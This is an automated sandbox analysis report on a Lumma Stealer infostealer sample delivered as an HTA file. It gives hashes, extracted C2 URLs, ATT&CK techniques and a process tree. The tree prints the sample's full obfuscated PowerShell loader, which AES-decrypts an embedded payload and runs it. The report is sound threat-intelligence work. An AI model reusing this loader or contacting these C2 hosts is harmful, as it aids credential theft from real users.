lumma | aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438

General

Target

smart1.hta
Size

162KB
MD5

e779ad7fcdc079af0012414407e2e892
SHA1

752c018c3be78f9fb25587d6452f2f6b0d9cd3a2
SHA256

aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438
SHA512

ad8813afdacfc7d0b462aa011523861d393dd752af580358b81cafe408cc89ad9e0a64cbf886c61757cfb30a3cec8b3cc1ce3bdf4372d24a5d1c04a80b4f3db0
SSDEEP

3072:088nbom5xIAb88nbom5xIAY88nbom5xIAo88nbom5xIA:ByxH6yxHNyxHdyxH

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Family

lumma

C2

https://femininedspzmhu.shop/api

https://writerospzm.shop/api

https://deallerospfosu.shop/api

https://bassizcellskz.shop/api

https://languagedscie.shop/api

https://complaintsipzzx.shop/api

https://quialitsuzoxm.shop/api

https://tenntysjuxmz.shop/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3020	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
60	0calendarscope.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 60 set thread context of 4164	60	0calendarscope.exe	76

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3020	powershell.exe
3020	powershell.exe
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 3020	424	mshta.exe	73
PID 424 wrote to memory of 3020	424	mshta.exe	73
PID 424 wrote to memory of 3020	424	mshta.exe	73
PID 3020 wrote to memory of 60	3020	powershell.exe	75
PID 3020 wrote to memory of 60	3020	powershell.exe	75
PID 60 wrote to memory of 4164	60	0calendarscope.exe	76
PID 60 wrote to memory of 4164	60	0calendarscope.exe	76
PID 60 wrote to memory of 4164	60	0calendarscope.exe	76
PID 60 wrote to memory of 4164	60	0calendarscope.exe	76
PID 60 wrote to memory of 4164	60	0calendarscope.exe	76

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\smart1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function fUUeIY($lrWzRn){return -split ($lrWzRn -replace '..', '0x$& ')};$FGCBsqZ = fUUeIY('08FD478788FD182E0D6A1297D93DACE694080CD7F35ADBE558CD7FBB26FB97CEF183BDC57B0782D2B310E50E9538F222218DAF2B5F0E61D9ADB34F76264C3C66C4FEABD1821E62EAD18B77FD172B17ECBAD2DDC3ECAB5642717B8F464BA00D90A0784154C8629D02179DA9B180F3781539C31AB37867F1C66AABA360A06DF2C2B35354B861395E34DF7A54434AB6F1524289CE6BA2AEE554C7D088A2BD34C7CFE4BE71DB90304E0DDBEC5C891AB135328DB0B3445C7A274667ECEA7166CE851718F520C05B8F68C1973471420FA9A9B02DE9BCD937464936741A859E9F88712A86E973BE67B43C7654010A114284698E85675BF3F408CBC0ADC0A5804E4D9A917FDA8D126DD6FDDEF79FF312B55099E3677E88C5CC51754000AABAD387DD7BD65CC78F68BE3FBA4D94E8CE87B0F790DDCA87540ACBF8166F48AD0086D2EDA5394E16C4A7679B8CEEB745A8C545CD148C06CC2C5A09AA9CC6469AD640061435C77E45E0CE3B1DDB0936FEF91858B2A3D608429A7F39D986595A35E9ECE74FE663C8E7D857E779004FA5AB393A609D450C4DF7EA77F0BBC2E548E712D804A47EFAEE269EEAF19FF4BA7A2E7BEE957A26AAB13695F858DD6BB5A340C2CEFB1E35B422EA6F57F5C88F3D3FC1486F497C0E8C1A4DF8E465319931B8161DCABC3EE9797EECF86AADB519097F90903A13EF068A5E603B5A861CD9886FCD92AFA622F92DB0E4F14E46DF13EC8D95C63E19E74F71924D72EAA971F41A9A6399D9EF65DE7DD16CBA871A8F1F1D8822ED8040E78E16C3E5232C80C361E4F41C46E87E061AE2BF0139E3C39FB1022398C54980F5D6ADFCAF3D17CADE553BEAA76A8D18E05AD505982913891A83B8934C2EBBD75BA6A408AAB72216AC0E735D644CF2D5F67605A0FC8929AD569B79002EEAA21701B0321230F0A0809C7FB51A46BD1ABECD92825349CC02861904FAFDE7A83C29598432DECA7C4A40B6A764E58FF811E0554E57AE64F8025CBA4286E1BCB741FCB1971DF9A16072E161CBD9150C18675D2A10794DE1DD2DB8903E9E8CE2342DB0D6ECB9A5B7743167B1B954CFCF564C2792DEE76CF4D4616D8CA8AB5A57307E79B95766E8AFB66600EB27BD6C56920B5852D4317EEA2025ABC60AF46FE117F3A988FF3C73DAF3C2D13FCAFA3A97F5A276CB11B4E57106A500F47040089F99C31749EB15778D452D80F7A3D0BE5087A618E411E97063841B046BB11F7E623056420EF838F4880A89743A375971C214C0260377A92D85E3ADD8BFE2991F6CA44F54949400C8248872973E9AE771937ABBE320166A0BE7E30620D088BB8192C40CBA2E457F577096559BF141CCBD3AA25E5ADA6F45958D2BCD6C0B047545BAA0D53B5A8608F585966668F7BCDB926421F8AA38184E2BE41C0CEE2A7C183C71D5E0091773A1337D292B3BC1B32C766CED4D9896DA0ECFBCD8E2FE21388F06CBACB282FABCE4DDBA921FE5529F378977716CF8B7164B116B2176C01C9A5340F8303C8D471A97627068C8D3FF3446062A857A52C429A4423E2E56C97ADB7CA3D773600AB1251901248A570FE9F556B6E775248C3FDAF052643CB9F16F1B7153ED12FAF60D9976');$mmXhH = [System.Security.Cryptography.Aes]::Create();$mmXhH.Key = fUUeIY('596C6F47555751725873557067474F55');$mmXhH.IV = New-Object byte[] 16;$jttVgzHn = $mmXhH.CreateDecryptor();$enAWQWiVe = $jttVgzHn.TransformFinalBlock($FGCBsqZ, 0, $FGCBsqZ.Length);$BMbsFEMTg = [System.Text.Encoding]::Utf8.GetString($enAWQWiVe);$jttVgzHn.Dispose();& $BMbsFEMTg.Substring(0,3) $BMbsFEMTg.Substring(3)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe
    "C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:60
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\0calendarscope.exe

Filesize
16.5MB

MD5
c77d9a74fc554afaf9d477f45175cdb5

SHA1
d3b673425c29de3820144600a606655dea31e75d

SHA256
9d3ccb5909fdb37465abeef19b83e868ccb6397ffa22ad434b7a16231a711fae

SHA512
d98ea6419918c06cd857dfa82ffc8628897e1e376559d0c0308a9bfc182cc8e78fff06c51d665c8793fa5ab441dd1ae6dc1cfab9ec2181e9a6469a3499ea0827

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lo0obow1.z52.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/60-205-0x00007FF7AE740000-0x00007FF7AF82E000-memory.dmp

Filesize
16.9MB

Download
memory/60-201-0x00007FF7AE740000-0x00007FF7AF82E000-memory.dmp

Filesize
16.9MB

Download
memory/60-198-0x00007FF7AE740000-0x00007FF7AF82E000-memory.dmp

Filesize
16.9MB

Download
memory/3020-35-0x000000000A550000-0x000000000AA4E000-memory.dmp

Filesize
5.0MB

Download
memory/3020-44-0x000000006CB20000-0x000000006CB6B000-memory.dmp

Filesize
300KB

Download
memory/3020-9-0x0000000007C50000-0x0000000007FA0000-memory.dmp

Filesize
3.3MB

Download
memory/3020-10-0x0000000007AB0000-0x0000000007ACC000-memory.dmp

Filesize
112KB

Download
memory/3020-11-0x0000000008030000-0x000000000807B000-memory.dmp

Filesize
300KB

Download
memory/3020-12-0x00000000082E0000-0x0000000008356000-memory.dmp

Filesize
472KB

Download
memory/3020-7-0x0000000007B70000-0x0000000007BD6000-memory.dmp

Filesize
408KB

Download
memory/3020-27-0x00000000099D0000-0x000000000A048000-memory.dmp

Filesize
6.5MB

Download
memory/3020-28-0x0000000009180000-0x000000000919A000-memory.dmp

Filesize
104KB

Download
memory/3020-33-0x0000000009270000-0x0000000009304000-memory.dmp

Filesize
592KB

Download
memory/3020-34-0x0000000009210000-0x0000000009232000-memory.dmp

Filesize
136KB

Download
memory/3020-0-0x000000006FF2E000-0x000000006FF2F000-memory.dmp

Filesize
4KB

Download
memory/3020-43-0x000000000A0D0000-0x000000000A103000-memory.dmp

Filesize
204KB

Download
memory/3020-8-0x0000000007BE0000-0x0000000007C46000-memory.dmp

Filesize
408KB

Download
memory/3020-45-0x000000006CC70000-0x000000006CFC0000-memory.dmp

Filesize
3.3MB

Download
memory/3020-46-0x0000000006EA0000-0x0000000006EBE000-memory.dmp

Filesize
120KB

Download
memory/3020-51-0x000000000A110000-0x000000000A1B5000-memory.dmp

Filesize
660KB

Download
memory/3020-52-0x000000006FF2E000-0x000000006FF2F000-memory.dmp

Filesize
4KB

Download
memory/3020-53-0x000000006FF20000-0x000000007060E000-memory.dmp

Filesize
6.9MB

Download
memory/3020-128-0x000000000A210000-0x000000000A222000-memory.dmp

Filesize
72KB

Download
memory/3020-137-0x000000000A1D0000-0x000000000A1DA000-memory.dmp

Filesize
40KB

Download
memory/3020-6-0x0000000007260000-0x0000000007282000-memory.dmp

Filesize
136KB

Download
memory/3020-197-0x000000006FF20000-0x000000007060E000-memory.dmp

Filesize
6.9MB

Download
memory/3020-4-0x000000006FF20000-0x000000007060E000-memory.dmp

Filesize
6.9MB

Download
memory/3020-5-0x0000000007360000-0x0000000007988000-memory.dmp

Filesize
6.2MB

Download
memory/3020-3-0x00000000047F0000-0x0000000004826000-memory.dmp

Filesize
216KB

Download
memory/4164-206-0x00000000032B0000-0x0000000003309000-memory.dmp

Filesize
356KB

Download
memory/4164-204-0x00000000032B0000-0x0000000003309000-memory.dmp

Filesize
356KB

Download

Analysis

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